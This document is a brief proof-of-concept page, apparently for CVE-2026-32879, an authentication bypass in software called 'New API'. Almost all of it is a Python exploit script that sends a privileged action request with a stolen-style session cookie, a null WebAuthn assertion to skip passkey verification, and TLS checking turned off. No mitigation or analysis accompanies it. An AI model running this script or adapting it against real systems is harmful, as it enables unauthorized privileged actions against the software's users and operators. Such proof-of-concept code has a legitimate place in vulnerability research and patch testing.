CVE-2026-32879 New API安全验证绕过漏洞

import requests # Target URL (Example) target_url = "https://target-new-api.com/api/secure/action" session_cookie = "valid_session_token_here" headers = { "Cookie": f"session={session_cookie}", "Content-Type": "application/json" } # The vulnerability allows satisfying the secure check without the WebAuthn assertion. # Exploit payload attempting to bypass the verification step. payload = { "action": "privileged_operation", "verification_method": "passkey", # Normally a valid 'webauthn_assertion' is required here, # but due to the logic flaw, omitting it or sending an incomplete one # might satisfy the check if the user has a passkey registered. "webauthn_assertion": None } try: response = requests.post(target_url, json=payload, headers=headers, verify=False) if response.status_code == 200: print("[+] Exploit successful! Action executed.") print(f"[+] Response: {response.text}") else: print(f"[-] Exploit failed. Status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}")